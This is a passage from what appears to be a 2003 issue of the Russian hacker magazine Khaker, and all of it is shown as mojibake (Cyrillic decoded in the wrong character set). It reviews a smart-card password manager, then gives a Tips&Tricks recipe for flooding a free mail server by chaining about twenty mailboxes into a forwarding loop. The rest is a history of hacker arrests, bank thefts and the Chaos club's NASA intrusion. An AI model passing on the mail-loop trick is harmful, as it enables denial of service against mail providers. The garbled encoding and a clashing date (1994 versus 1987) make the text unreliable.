óäîáíîé èåðàðõèè õðàíÿùèõñÿ ïàðîëåé. Ôóíêöèÿ àâòîçàïîëíåíèÿ<br />

ñýêîíîìèò ñèëû è íåðâû.<br />

<br />

Âñå ÷åòûðå ïðîãè áûëè îòîáðàíû ìíîé èç êó÷è ñóùåñòâóþùèõ<br />

êàê ëó÷øèå, è íåëüçÿ ñêàçàòü, ÷òî êàêèå-òî òðè èç<br />

íèõ - ïîëíûé îòñòîé, à ÷åòâåðòàÿ - ãîëóáàÿ ìå÷òà. Âñå<br />

îíè ïðåêðàñíî ñïðàâëÿþòñÿ ñ ïîñòàâëåííîé çàäà÷åé, íî<br />

èìåþò ðàçíûé èíòåðôåéñ, íàñòðîéêè è äîïîëíèòåëüíûå<br />

âîçìîæíîñòè. Ïîùóïàé ñîáñòâåííîðó÷íî êàæäóþ, ÷òîáû<br />

îïðåäåëèòüñÿ ñ âûáîðîì.<br />

Ìåíåäæåðû ïàðîëåé, êîíå÷íî, ðåøàþò ïðîáëåìó ñêëåðîçà.<br />

Òåáå îñòàåòñÿ âûçóáðèòü îäèí ïàðîëü, ò.ê. îñòàëüíûå<br />

õðàíÿòñÿ â çàøèôðîâàííîé áàçå. Íî áàçà îñòàåòñÿ ôèçè-<br />

÷åñêè äîñòóïíà, òàê êàê âàëÿåòñÿ íà òâîåì âèíòå, à ñëåäîâàòåëüíî,<br />

îíà óÿçâèìà. Òû æå íå çíàåøü, íàñêîëüêî êà÷åñòâåííî<br />

ïðîãðàììà çàùèùàåò ñâîþ áàçó, è íåò ëè äûðîê<br />

â çàùèòå. À äûðêè åñòü âñåãäà :). Ýòà ïðîáëåìà îòïàäàåò<br />

ïðè èñïîëüçîâàíèè ïðîãðàììíî-àïïàðàòíîãî êîìïëåêñà<br />

Ìàñòåð Ïàðîëåé, ðàçðàáîòàííîãî îòå÷åñòâåííîé êîìïàíèåé<br />

ÐÓÑÊÀÐÄ (www.ruscard.org).<br />

<br />

Ñìûñë çàùèòû Ìàñòåðà Ïàðîëåé çàêëþ÷àåòñÿ â òîì, ÷òî<br />

âñå äàííûå äëÿ ïðîâåäåíèÿ àâòîðèçàöèè õðàíÿòñÿ íà<br />

ñìàðò-êàðòå è ïðè íåîáõîäèìîñòè ââîäÿòñÿ â êîìïüþòåð<br />

ïîñðåäñòâîì ðèäåðà (óñòðîéñòâî äëÿ ÷òåíèÿ/çàïèñè<br />

ñìàðò-êàðò). Ñîçäàâàòü, èñïîëüçîâàòü è ðåäàêòèðîâàòü<br />

ó÷åòíûå çàïèñè (ñâÿçêè ëîãèí-ïàðîëü) ïîçâîëÿåò ïðîãðàììà<br />

Ìåíåäæåð Ïàðîëåé, êîòîðàÿ âõîäèò â ñîñòàâ ïðèëàãàåìîãî<br />

ÏÎ. Âàðèàíòîâ ïîäêëþ÷åíèÿ ðèäåðà íåñêîëüêî:<br />

USB, ISA, PCI, PS/2 è COM.<br />

Íî âñå ðàâíî îñòàåòñÿ ïðîáëåìà, ãäå ñïðÿòàòü ãëàâíûé<br />

ïàðîëü äîñòóïà îò ìåíåäæåðà ïàðîëåé. Ïðåäëîæó òåáå<br />

îäèí äèâíûé ñïîñîá. Â ïàïêå C:\Windows ñîçäàåøü<br />

ôàéë ñ ïðîèçâîëüíûì èìåíåì (íàïðèìåð,<br />

abcplayer.exe) è ïîñòèøü â íåãî ïðèëè÷íûé êóñîê êîäà<br />

èç ëþáîãî exe-ôàéëà. Çàòåì ãäå-íèáóäü â ñåðåäèíå<br />

ïîëó÷åííîãî ôàëüø-êîäà çàïèñûâàåøü ñâîé ïàðîëü.<br />

Ïîïðîáóé íàéäè :). Òåì áîëåå, ÷òî ìåñòî íà äèñêå, èìÿ<br />

è ðàçðåøåíèå ôàéëà ìîãóò áûòü ñîâåðøåííî ëþáûìè.<br />

Íî íå çàáûâàé äåëàòü ðåçåðâíóþ êîïèþ ýòîãî ôàéëà íà<br />

äèñêåòó èëè ëþáîé äðóãîé íîñèòåëü, ÷òîáû èçáåæàòü<br />

òðàãè÷åñêîé ïîòåðè, åñëè îòêèíåò êîïûòà òâîé âèíò :).<br />

<br />

Îñíîâíîé êîíêóðåíò ñìàðò-êàðò - òàê íàçûâàåìûå ýëåêòðîííûå<br />

êëþ÷è (USB-êëþ÷è). Íî îíè èìåþò ìíîãî ìèíóñîâ.<br />

Âî-ïåðâûõ, îíè íå òàê íàäåæíû, ïîòîìó ÷òî ìåíåå<br />

óñòîé÷èâû ê âíåøíèì âîçäåéñòâèÿì: âëàæíîñòü, äàâëåíèå,<br />

èçãèá, ñòàòè÷åñêîå ýëåêòðè÷åñòâî è ò.ä. Êîëè÷åñòâî<br />

öèêëîâ âñòàâêè-èçâëå÷åíèÿ äëÿ êàðòû - ïîðÿäêà îäíîãî<br />

ìèëëèîíà, äëÿ USB-êëþ÷åé â ñèëó èõ êîíñòðóêöèè ñóùåñòâåííî<br />

íèæå. À âî-âòîðûõ, ïðè âûõîäå íîâûõ âåðñèé<br />

ïðîãðàìì ïîòðåáóåòñÿ çàìåíà ýëåêòðîííûõ êëþ÷åé, ÷òî<br />

äåëàåò èõ ïðèìåíåíèå äîñòàòî÷íî îãðàíè÷åííûì. Êðîìå<br />

òîãî, ïîêà îòñóòñòâóþò óíèâåðñàëüíûå ðåøåíèÿ êëþ÷åé,<br />

êîòîðûå áû ðàáîòàëè ñî âñåìè ïîïóëÿðíûìè ïðîãðàììàìè.<br />

ß óæå íå ãîâîðþ î òîì, ÷òî êàðòû ïðîùå õðàíèòü è<br />

ïåðåíîñèòü â îòëè÷èå îò USB-ïîãðåìóøåê :). Äà è íàìíîãî<br />

ïðîùå âñòàâèòü êàðòó â ðèäåð, ÷åì êîðÿ÷èòüñÿ êàæäûé<br />

ðàç, ïîäêëþ÷àÿ USB-êëþ÷ ê êîìïüþòåðó.<br />

<br />

Óñòàíîâêà Ìàñòåðà Ïàðîëåé íà êîìïüþòåð íå äîëæíà<br />

âûçâàòü ñëîæíîñòåé è çàíèìàåò ñ÷èòàííûå ìèíóòû. Ïîñëå<br />

ýòîãî ïîäêëþ÷àåì ðèäåð è ñòàâèì åãî äðàéâåðà. Åñëè<br />

ïðîäåëàòü âñå áåç ôîêóñîâ, òî ïðè çàãðóçêå êîìïà ðèäåð<br />

òåáå âåñåëî ïîäìèãíåò.<br />

ÈÑÏÎËÜÇÎÂÀÍÈÅ<br />

Ñðàçó ïîñëå óñòàíîâêè ìîæåøü êèäàòüñÿ â áîé: âñòàâü<br />

ñìàðò-êàðòó â ðèäåð è àêòèâèçèðóé Ìåíåäæåð Ïàðîëåé.<br />

Ïðîãðàììà èç ðàçðÿäà ïðîùå íå áûâàåò: ÷åòûðå ïóíêòà<br />

ìåíþ (ñîçäàòü, ðåäàêòèðîâàòü, óäàëèòü è çàïèñàòü) è îäíî<br />

êîíòåêñòíîå ìåíþ,<br />

êîòîðîå âñïëûâàåò<br />

ïðè íàæàòèè<br />

ïðàâîé êíîïêè ìûøè.<br />

Îñòàëüíîå äåëî<br />

òåõíèêè.<br />

Ïðèäóìûâàòü ïàðîëü<br />

ñîâñåì íå îáÿçàòåëüíî<br />

- äëÿ ýòîãî<br />

èñïîëüçóåòñÿ ãåíåðàòîð,<br />

êîòîðûé ñîçäàåò<br />

ñëó÷àéíûé ïàðîëü<br />

äëèíîé äî 100<br />

ñèìâîëîâ. Íà îäíó êàðòî÷êó åìêîñòüþ 2 Êá âëåçàåò â<br />

ñðåäíåì îêîëî 50 ïàðîëåé (êîëè÷åñòâî çàâèñèò îò äëèíû<br />

ïàðîëåé).<br />

Äëÿ óñêîðåíèÿ ñîçäàíèÿ ó÷åòíûõ çàïèñåé â ïðîãðàììå<br />

ïðåäóñìîòðåí ðÿä øàáëîíîâ:<br />

- âõîä â ÎÑ Windows 98/ME/NT/2000/XP<br />

- âõîä â ñåòü Microsoft Windows è Nowell<br />

- óäàëåííûé äîñòóï (DialUp)<br />

- ðàáîòà ñ àðõèâàòîðàìè RAR è ZIP<br />

- ðàáîòà ñ ïðèëîæåíèÿìè MS Office (97/2000/XP) - MS<br />

Word, MS Excel, MS Access<br />

- ðàáîòà ñ ïî÷òîâûìè ïðîãðàììàìè MS Outlook, MS<br />

Outlook Express, The Bat<br />

- äîñòóï ê çàêðûòûì ñàéòàì â Internet Explorer è Netscape<br />

Navigator<br />

- ðàáîòà ñ ïðîãðàììàìè ñåìåéñòâà 1Ñ<br />

- ðàáîòà ñ ïðîãðàììàìè øèôðîâàíèÿ PGP, Best Crypt,<br />

Cryptomania<br />

- äîñòóï ê ïîïóëÿðíûì ïî÷òîâûì ñàéòàì - Mail.ru,<br />

Rambler.ru, Yahoo.com, Hotbox.com, Chat.ru è ò.ä.<br />

Äëÿ ïðèëîæåíèé, êîòîðûõ íåò â ýòîì ñïèñêå, èñïîëüçóé<br />

óíèâåðñàëüíóþ çàïèñü. Åñëè â øàáëîíå òû óêàçûâàåøü<br />

òîëüêî ëîãèí è ïàðîëü, òî äëÿ óíèâåðñàëüíîé çàïèñè íóæíî<br />

îïðåäåëèòü öåëåâîå îêíî è óêàçàòü ýëåìåíòû ââîäà.<br />

Ïðèíöèï àêòèâàöèè ïðîñò: ïðè çàïðîñå ïàðîëÿ â ïðèëîæåíèè,<br />

äëÿ êîòîðîãî óæå ñäåëàíà ó÷åòíàÿ çàïèñü, äîñòàòî÷íî<br />

âñòàâèòü êàðòó â ðèäåð èëè íàæàòü êîìáèíàöèþ Alt+Win+A,<br />

åñëè êàðòà óæå â ðèäåðå. Ïðè ýòîì ëîãèí è ïàðîëü áóäóò<br />

àâòîìàòè÷åñêè ñ÷èòàíû. È ýòî íå âñå. Ëþáàÿ ó÷åòíàÿ çàïèñü<br />

èëè âñÿ êàðòà ïðè æåëàíèè çàêðûâàåòñÿ îòäåëüíûì<br />

ïàðîëåì - PIN-êîäîì. Åñëè îí óñòàíîâëåí, òî îäíîé êàðòû<br />

äëÿ èäåíòèôèêàöèè ìàëî, îáÿçàòåëüíî íóæåí ñàì PIN-êîä.<br />

À äëÿ òîãî, ÷òîáû óìíèêè íå ñìîãëè ïîäîáðàòü PIN-êîä ïåðåáîðîì,<br />

ñòîèò âðåìåííàÿ çàùèòà â 2-3 ñåêóíäû.<br />

<br />

Òàêèì îáðàçîì, ïðîãðàììà ïîçâîëÿåò óáðàòü ïàðîëè ñ<br />

æåñòêîãî äèñêà è íå ââîäèòü èõ ñ êëàâèàòóðû. Äëÿ îäíîãî<br />

ïðèëîæåíèÿ ìîæíî çàâåñòè íåñêîëüêî âàðèàíòîâ ïàðîëåé<br />

ëþáîé ñëîæíîñòè (äî 100 ñèìâîëîâ). È, íàêîíåö, îáåñïå-<br />

÷èâàåòñÿ äâîéíàÿ àâòîðèçàöèÿ ïðè ïîìîùè ó÷åòíîé çàïèñè<br />

è PIN-êîäà, ïîäáîð êîòîðîãî èñêëþ÷àåò âðåìåííàÿ çàäåðæêà.<br />

Ãëàâíîå - íå çàáûòü ïàðîëü ñàìîìó ;). Ê òîìó æå,<br />

îáíîâëåíèå ñîôòà áåñïëàòíî âûêëàäûâàåòñÿ íà ñàéòå<br />

ïðîèçâîäèòåëÿ (www.ruscard.org/soft.htm).<br />

Ïðîñòî ñêàçêà, êîòîðàÿ ñòîèò 60 çåëåíûõ :).<br />

Tips&Tricks<br />

Ýòî ñòàðîå çàïàäëî, íî íå âñå<br />

åãî çíàþò:<br />

Ðåãåäèøü ÿùèêîâ äâàäöàòü íà<br />

õàëÿâíîé ïî÷òå, çàòåì íàñòðàèâàåøü<br />

èõ òàêèì îáðàçîì,<br />

÷òîáû ñ ïåðâîãî âñå ïåðåñûëàëîñü<br />

íà âòîðîé, ñî âòîðîãî<br />

íà òðåòèé..., ñ òðèñòà âîñåìüäåñÿò<br />

ïÿòîãî íà ïåðâûé. Îòïðàâëÿåøü<br />

íà ïåðâûé ÿùèê 2kb<br />

ïèñüìî, è åñëè ñåðâåð íå<br />

î÷åíü ñèëüíûé, òî îí óéäåò â<br />

ëàã! Áûëî ïðîâåðåíî íà<br />

mail2k, ïîñëå ÷åãî îòòóäà è óáðàëè<br />

ïåðåñûëêó!<br />

=Vit_malNl=<br />

vit_man@mo3gov.net<br />

40 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


PC_Zone<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÕÀÊÅÐÛ È ÔÁÐ<br />

mindw0rk<br />

ÑÀÌ ÑÅÁÅ<br />

<br />

ÈÌÈÒÀÒÎÐ<br />

ÕÀÊÅÐÛ<br />

È<br />

ÍÀ×ÀËÎ ÏÐÎÒÈÂÎÑÒÎßÍÈß<br />

Ïîäïèñûâàÿ çíàìåíèòûé Abuse Act, Ñåíàò ÑØÀ ðàññ÷èòûâàë ñíèçèòü êîëè÷åñòâî êîìïüþòåðíûõ âçëîìîâ â ñòðàíå. Íî, âîïðåêè âñåì îæèäàíèÿì,<br />

õàêåðû íå òîëüêî íå çàòèõëè, íî îòâåòèëè åùå áîëåå ÷àñòûìè ïðîíèêíîâåíèÿìè â ÷óæèå êîìïüþòåðû.  ÔÁÐ ðåãóëÿðíî îáðàùàëèñü<br />

àäìèíèñòðàòîðû ïðàâèòåëüñòâåííûõ è íàó÷íûõ êîìïüþòåðíûõ ñèñòåì ñ ïðîñüáîé ïîìî÷ü çàäåðæàòü âçëîìùèêîâ. Àìåðèêàíñêîå ïðàâèòåëüñòâî<br />

ñòîëêíóëîñü ñ ïðîáëåìîé, êîòîðîé ðàíüøå íå ïðèäàâàëî áîëüøîãî çíà÷åíèÿ. Õîòÿ àáñîëþòíîå áîëüøèíñòâî õàêåðîâ íå ïûòàëèñü<br />

ïðè÷èíèòü êîìïüþòåðíûì ñèñòåìàì âðåäà, ñåêðåòíûå äàííûå íà òî è áûëè ñåêðåòíûìè, ÷òîáû äåðæàòü èõ ïîäàëüøå îò ëþáîïûòíûõ<br />

ãëàç. È Áîëüøîé Áðàò íàíåñ ñâîèì ïðîòèâíèêàì îòâåòíûé óäàð, â ðåçóëüòàòå êîòîðîãî ïî ñòðàíå ïðîêàòèëàñü ïåðâàÿ âîëíà àðåñòîâ.<br />

<br />

ÔÁÐ<br />

Captain Hacker, Doctor Bob, LaserTech, Adventurer,<br />

Highwayman, Punisher è Warden - ýòè ñåìü ôðèêåðîâ â<br />

âîçðàñòå îò 15 äî 19 ëåò áûëè àðåñòîâàíû 5 ìàðòà<br />

1986 ã. Âñå îíè ïîïàëèñü íà óäî÷êó, êîòîðóþ äëÿ íèõ<br />

ïðèãîòîâèëè ïðàâîîõðàíèòåëüíûå îðãàíû.<br />

Íà÷àëîñü âñå ñ íîâîé BBS, ñèñîï êîòîðîé - The<br />

Revenger - ðàäóøíî ïðèâåòñòâóåò ïîñåòèòåëåé è ïîñòîÿííî<br />

âûñêàçûâàåòñÿ â òîì ñìûñëå, ÷òî åãî Phoenix<br />

Fortress - ñàìàÿ ñâåæàÿ è ñàìàÿ ëó÷øàÿ ôðèêåðñêàÿ áîðäà,<br />

è ÷òî íå ïîó÷àñòâîâàòü â äèñêóññèÿõ íà íåé - âñå<br />

ðàâíî, ÷òî ëó÷øèå äíè æèçíè ïðîñïàòü. Ðàçâåðíóâ øèðîêóþ<br />

ðåêëàìíóþ êîìïàíèþ íà äðóãèõ àíäåãðàóíäîâûõ<br />

áèáèýñêàõ, Revenger’ó óäàåòñÿ ïåðåìàíèòü ê ñåáå ìíîãî<br />

õàêåðîâ è ôðèêåðîâ âñåõ ìàñòåé. Åãî áîðäà áûñòðî ñòàíîâèòñÿ<br />

îäíîé èç ñàìûõ ïîïóëÿðíûõ è… ëîâóøêà çàõëîïûâàåòñÿ!<br />

Revenger îêàçûâàåòñÿ âîâñå íå 20-ëåòíèì ñòóäåíòîì,<br />

à ñåðæàíòîì Äàíèýëåì Ïàñêóëå, íà êîìïüþòåðå<br />

êîòîðîãî (â ïîëèöåéñêîì ó÷àñòêå!) Phoenix Fortress âñå<br />

ýòî âðåìÿ è ðàáîòàëà. Íó, à ïîñêîëüêó Ïàñêóëå è åãî<br />

êîëëåãè òùàòåëüíî ñëåäèëè çà ðàçâèòèåì ñîáûòèé íà<br />

ôîðóìå, â ðóêàõ ïðàâîñóäèÿ ìèãîì îêàçûâàþòñÿ ñàìûå<br />

áîëòëèâûå ïîñåòèòåëè èõ BBS’êè. Ïðè÷åì, ïîìèìî ñåìè<br />

ïàïîê íà çàäåðæàííûõ ôðèêåðîâ, ó ïîëèöèè ïîÿâëÿåòñÿ<br />

äîñòàòî÷íî îáúåìíûé (îêîëî 150 ÷åëîâåê) ñïèñîê õàêåðîâ<br />

ñ ïîëåçíûìè ñâåäåíèÿìè î êàæäîì èç íèõ.<br />

 òîì æå ãîäó ïîëèöèÿ àðåñòîâûâàåò èçâåñòíîãî àìåðèêàíñêîãî<br />

õàêåðà Disk Jockey. Åìó ïðåäúÿâëÿþò îáâèíåíèÿ<br />

ïî 22 ïóíêòàì, è â èòîãå âñå çàêàí÷èâàåòñÿ òþðüìîé.<br />

Òåíü ïîäîçðåíèÿ â ïðè÷àñòíîñòè ê àðåñòó ïàäàåò íà<br />

äðóãîãî õàêåðà - White Lightning. Ãîâîðÿò, ÷òî ÿêîáû ïîññîðèâøèñü<br />

ñî ñâîèì ïðèÿòåëåì, îí íàñòó÷àë íà íåãî<br />

òåõïåðñîíàëó ñåòè Sprint (DJ ÷àñòî íåçàêîííî ïîëüçîâàëñÿ<br />

èõ óñëóãàìè). Íî êàê òîëüêî ýòà âåñòü ðàçëåòåëàñü ïî<br />

àíäåãðàóíäó, WL òóò æå ïîçâîíèë ðåäàêòîðó æóðíàëà<br />

Phrack è ïîïûòàëñÿ îïðîâåðãíóòü ñëóõè. Ïðàâäà, ïðèâåñòè<br />

âíÿòíûå äîâîäû â ñâîþ ïîëüçó îí íå ñìîã, òàê êàê<br />

Ïîñòåð îäíîãî èç ñàìûõ èçâåñòíûõ ôèëüìîâ<br />

î êîìïüþòåðíîì àíäåãðàóíäå<br />

èñòî÷íèêîì ñëóõîâ ñòàëà èíôîðìàöèÿ îò îäíîãî èç ôðèêåðîâ,<br />

èìåâøåãî ñâÿçè â ïîëèöåéñêèõ êðóãàõ.<br />

Êñòàòè, ïðîáëåìà ñòóêà÷åñòâà â êîíöå 80-õ áûëà îñîáåííî<br />

àêòóàëüíîé. Â òå äíè ôåäåðàëû óãðîçàìè è øàíòàæîì<br />

çàñòàâëÿëè õàêåðîâ, åùå íåäàâíî áûâøèõ äðóçüÿìè,<br />

ñâèäåòåëüñòâîâàòü äðóã ïðîòèâ äðóãà. È ÷òîáû èçáåæàòü<br />

ïðåñëåäîâàíèÿ âëàñòåé, íåêîòîðûå ñòàíîâèëèñü<br />

èíôîðìàòîðàìè, ðåãóëÿðíî ñîîáùàâøèìè "êóäà íàäî"<br />

îá àêòèâíîñòè êîëëåã.<br />

<br />

Îãðàáëåíèÿ áàíêà ÷åðåç êîìïüþòåð âñåãäà âûçûâàëè ó<br />

ïóáëèêè æèâîé èíòåðåñ è ùåäðî îñâåùàëèñü â ïðåññå.<br />

Íî â 80-õ òàêèå ñëó÷àè íà ñòðàíèöû ãàçåò ïîïàäàëè<br />

ðåäêî - êâàëèôèöèðîâàííûå õàêåðû íå õîòåëè ðèñêîâàòü,<br />

à ó ëþäåé, æåëàâøèõ áûñòðî îáîãàòèòüñÿ, ïîïðîñòó<br />

íå áûëî íóæíûõ çíàíèé. Ê òîìó æå, äàæå åñëè<br />

êðàæà èìåëà ìåñòî, ïî âïîëíå ïîíÿòíûì ïðè÷èíàì<br />

áîëüøèíñòâî áàíêîâ ïðåäïî÷èòàëî îá ýòîì íå ðàñïðîñòðàíÿòüñÿ.<br />

Òåì íå ìåíåå, êîå-êàêàÿ èíôîðìàöèÿ èíîãäà<br />

ïðîñà÷èâàëàñü íàðóæó.<br />

Îñåíüþ 1988 ã. Àðìàíä Ìóð ñ äâóìÿ ïîìîùíèêàìè ïðîíèê<br />

â êîìïüþòåðíóþ ñèñòåìó Íàöèîíàëüíîãî áàíêà ×èêàãî<br />

è ïîïûòàëñÿ ïåðåâåñòè íà ñâîé ñ÷åò â Øâåéöàðèè<br />

69 ìèëëèîíîâ äîëëàðîâ. Ìóð îòíîñèëñÿ ê òîìó òèïó ëþäåé,<br />

êîòîðûå ñïîñîáíû çèìîé ïðîäàòü òîííó ñíåãà æèòåëþ<br />

Êðàéíåãî Ñåâåðà, ïîýòîìó åìó íå ñîñòàâèëî òðóäà<br />

óáåäèòü äâóõ ìîëîäûõ êëåðêîâ íàæàòü íà áàíêîâñêèõ<br />

êîìïüþòåðàõ íóæíûå êíîïêè, ÷òîáû îòêðûòü åìó âõîä â<br />

ñèñòåìó. Íåñìîòðÿ íà òî, ÷òî äåíüãè áûëè óñïåøíî ïåðåâåäåíû,<br />

äàëåêî âçëîìùèêó óéòè íå óäàëîñü - âñêîðå<br />

42 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


çäàíèå National Westminster Bank<br />

îí áûë íàéäåí è ïðèãîâîðåí ê 10 ãîäàì òþðåìíîãî çàêëþ÷åíèÿ.<br />

Âñå 69 ìèëëèîíîâ âåðíóëèñü â áàíê.<br />

Äëÿ 17-ëåòíåãî õàêåðà Cryo ïðîíèêíóòü âî âíóòðåííþþ<br />

ñåòü National Westminster Bank íå ñîñòàâèëî áîëüøèõ<br />

ïðîáëåì - áàíê, êàçàëîñü, ñîâåðøåííî íå áåñïîêîèëñÿ î<br />

áåçîïàñíîñòè ñâîèõ êîìïüþòåðíûõ ñèñòåì. Èçó÷èâ çà<br />

íåñêîëüêî äíåé òåõíîëîãèþ äåíåæíûõ îïåðàöèé, Cryo íàøåë<br />

â íåé èçúÿí è ïðèíÿëñÿ îòêëàäûâàòü íà ñâîé ñ÷åò<br />

äåíüãè. Ñíà÷àëà ìåëêèìè ïàðòèÿìè, ïîòîì òûñÿ÷àìè.<br />

Ïîä êîíåö îñìåëåâøèé ïàðåíü ïåðåâåë ñåáå ïî÷òè ïîëòîðà<br />

ìèëëèîíà äîëëàðîâ çà ðàç. Òåõïåðñîíàë áàíêà ñðàçó<br />

çàìåòèë ñòîëü êðóïíûé ïåðåâîä íåïîíÿòíî îòêóäà è íåèçâåñòíî<br />

êóäà, ñ÷åò ïðèêðûëè. Õàêåð óñïåë ñíÿòü ñ íåãî<br />

ëèøü ïàðó òûñÿ÷ áàêñîâ (íà êîòîðûå êóïèë 50 áóòûëîê<br />

øàìïàíñêîãî - îòïðàçäíîâàòü ñ äðóçüÿìè âûãîäíîå äåëüöå).<br />

Óâèäåâ, ÷òî ñ÷åò çàáëîêèðîâàí, à âñå ïàðîëè èçìåíåíû,<br />

Cryo îñòàâèë ïîïûòêè ïîâòîðíî âçëîìàòü ñèñòåìó<br />

çàùèòû. Áëàãîäàðÿ ýòîìó, à òàêæå ãðàìîòíîìó âçëîìó,<br />

ïîéìàòü õàêåðà íå óäàëîñü.<br />

<br />

YTcracker, îäèí èç õàêåðîâ, ïðîíèêøèõ<br />

â ñåòü NASA<br />

Ê ñåðåäèíå 80-õ ãîäîâ âíóòðè êîìïüþòåðíîãî àíäåãðàóíäà<br />

ñóùåñòâîâàëè óæå äåñÿòêè ãðóïï èç ñàìûõ ðàçíûõ<br />

ãîðîäîâ è ñòðàí. Íî òîëüêî åäèíèöû îáðåëè ìèðîâóþ<br />

ñëàâó. Â ÑØÀ íàèáîëåå èçâåñòíîé õàêåðñêîé<br />

ãðóïïîé áûëà Legion of Doom. Â Ãåðìàíèè - êîìïüþòåðíûé<br />

êëóá "Chaos".<br />

Îòöîì-îñíîâàòåëåì ýòîãî êëóáà áûë Âó Õîëëàíä - 32-<br />

ëåòíèé ïðîãðàììåð èç Ãàìáóðãà, ÿðûé áîðåö çà ñâîáîäíûé<br />

äîñòóï ê ëþáîé èíôîðìàöèè. Â 1994 ã. "Õàîñ" ñîñòîÿë<br />

âñåãî èç äâóõ ÷åëîâåê - ñàìîãî Âó è åãî ïðèÿòåëÿ<br />

Ñòåôåíà Âýðíåðè. Íî ïîñëå ñåðèè óñïåøíûõ âçëîìîâ<br />

ïîä ëåéáëîì êëóáà è îñâåùåíèÿ èíöèäåíòîâ â ïðåññå,<br />

èíòåðåñ ê íåìó ñòàë ðàñòè. "Õàîñ" áûë ïðîïèòàí äóõîì<br />

õàêåðñêîé ýòèêè. Âñå âñòóïàþùèå â êëóá ëþäè îáÿçûâàëèñü<br />

ñëåäîâàòü ïóòè çíàíèé, îòâåðãàÿ âàíäàëèçì â ëþáîé<br />

ôîðìå.  îðãàíèçàöèè ñóùåñòâîâàëà èåðàðõè÷åñêàÿ<br />

ñèñòåìà, è íóæíî áûëî î÷åíü õîðîøî ñåáÿ çàðåêîìåíäîâàòü,<br />

÷òîáû ïðîäâèíóòüñÿ íà ñàìûé âåðõ.<br />

Òàê êàê Âó Õîëëàíä ñòàðàëñÿ íå îãðàíè÷èâàòü ïðèòîê íîâûõ<br />

ìåìáåðîâ è êàæäîìó äàâàë øàíñ ñòàòü õàêåðîì, êëóá<br />

"Õàîñ" ê 1987 ãîäó ñòàë, ñóäÿ ïî âñåìó, ñàìîé êðóïíîé â<br />

ìèðå õàêåðñêîé îðãàíèçàöèåé. Êàæäûé ãîä â õîëëå êàêîéíèáóäü<br />

ãîñòèíèöû ïðîõîäèë Chaos Communication<br />

Congress - êîíôåðåíöèÿ, íà êîòîðóþ ñúåçæàëèñü ñîòíè<br />

ëþäåé, ÷òîáû îáìåíÿòüñÿ ñâåæåé èíôîé è ïîñîðåâíîâàòüñÿ<br />

â ðèàëòàéìîâîì øòóðìå êîìïüþòåðíûõ ñèñòåì.<br />

Îñåíüþ 1987 ã. õàêåðû êëóáà "Õàîñ" îñóùåñòâèëè ñâîé<br />

ñàìûé ãðîìêèé è èçâåñòíûé âçëîì.<br />

×òîáû íàãëÿäíî ïðîäåìîíñòðèðîâàòü ñëàáîñòü ñèñòåì çàùèòû<br />

ïðàâèòåëüñòâåííûõ êîìïüþòåðîâ, ðåáÿòà ïðîíèêëè íà<br />

ìàøèíû NASA, ñîåäèíåííûå â êðóïíóþ íàó÷íóþ ñåòü SPAN<br />

(Space Physics Analysis Network). Òîãäà ê ñåðâåðó NASA áûëè<br />

ïîäêëþ÷åíû áîëåå ïîëóòîðà òûñÿ÷ êîìïüþòåðîâ âî âñåì<br />

ìèðå, è âñå îíè îêàçàëèñü â ðóêàõ âçëîìùèêîâ. Õàêåðû<br />

ïîëíîñòüþ çàõâàòèëè êîíòðîëü íàä ñèñòåìîé. Îíè ìîãëè<br />

ñâîáîäíî ìàíèïóëèðîâàòü ëþáûìè áàçàìè äàííûõ è ïîëüçîâàòåëüñêèìè<br />

ñ÷åòàìè, èìåëè äîñòóï êî âñåì ñåêðåòíûì<br />

ôàéëàì è ïðîåêòàì, áûëè ñïîñîáíû ïîëíîñòüþ óíè÷òîæèòü<br />

ìíîãîëåòíþþ ðàáîòó òûñÿ÷ ëþäåé. Íî ìåìáåðû "Õàîñà" îñòàëèñü<br />

âåðíû ñâîåé ýòèêå è íå ñòàëè ïðè÷èíÿòü âðåä. Íàïðîòèâ,<br />

îíè ïðåäóïðåäèëè NASA îá îáíàðóæåííûõ óÿçâèìîñòÿõ<br />

è ïîìîãëè èõ óñòðàíèòü. Â ñâÿçè ñ ýòèì ïðàâîîõðàíèòåëüíûå<br />

ñòðóêòóðû ðåøèëè íå ïðèâëåêàòü âçëîìùèêîâ ê îòâåòñòâåííîñòè<br />

çà î÷åâèäíîå íàðóøåíèå çàêîíà. Ýòî âûçâàëî<br />

áîëüøîé ðåçîíàíñ â íàðîäíûõ ìàññàõ, âïëîòü äî ïèêåòîâ,<br />

ïðèçûâàþùèõ ïîñàäèòü õàêåðîâ. Íà ýòîò ðàç èì ïîâåçëî,<br />

íî íåñêîëüêî ìåñÿöåâ ñïóñòÿ ñïåöñëóæáû àðåñòîâàëè<br />

÷åòâåðûõ ÷ëåíîâ êëóáà "Õàîñ" çà íåçàêîííîå âòîðæåíèå â<br />

êîììåð÷åñêèå êîìïüþòåðû.  èõ ÷èñëå îêàçàëñÿ Ñòåôåí<br />

Âýðíåðè - îäèí èç ñîçäàòåëåé êëóáà è îäèí èç ñàìûõ àâòîðèòåòíûõ<br />

õàêåðîâ â Ãåðìàíèè. Êàæäûé èç àðåñòîâàííûõ ïîëó÷èë<br />

íåáîëüøîé ñðîê.<br />

Commodore 64, ñàìûé ðàñïðîñòðàíåííûé<br />

«õàêåðñêèé» êîìïüþòåð<br />

<br />

Ïèâî. Îñîáîå :)<br />

24 ìàÿ 1989 ã. ïîäâåðãëèñü íàïàäåíèþ êîìïüþòåðíûå ñèñòåìû<br />

25 ðàçëè÷íûõ ôèíàíñîâûõ îðãàíèçàöèé, âêëþ÷àÿ the<br />

Michigan Department of Treasury. Ïî âñåìó áûëî âèäíî, ÷òî<br />

ïðîíèêíîâåíèå õîðîøî ñïëàíèðîâàíî è ïðîõîäèò èç ðàçíûõ<br />

ìåñò.  îòëè÷èå îò îáû÷íûõ ìîòèâîâ èññëåäîâàíèÿ,<br />

çäåñü âçëîìùèêè èìåëè ÷åòêóþ öåëü - íàæèòüñÿ çà ñ÷åò<br />

êîíòîð. Ïðîâîðíî ðàñêóðî÷èâ çàùèòó, õàêåðû ñîâìåñòíûìè<br />

óñèëèÿìè èçâëåêëè ñâåäåíèÿ î íåñêîëüêèõ òûñÿ÷àõ êðåäèòíûõ<br />

êàðò è, òóò æå âîñïîëüçîâàâøèñü èìè, ñäåëàëè çàêàçû<br />

íà âñåâîçìîæíûå òîâàðû. Êîãäà òåõïåðñîíàë îáíàðóæèë<br />

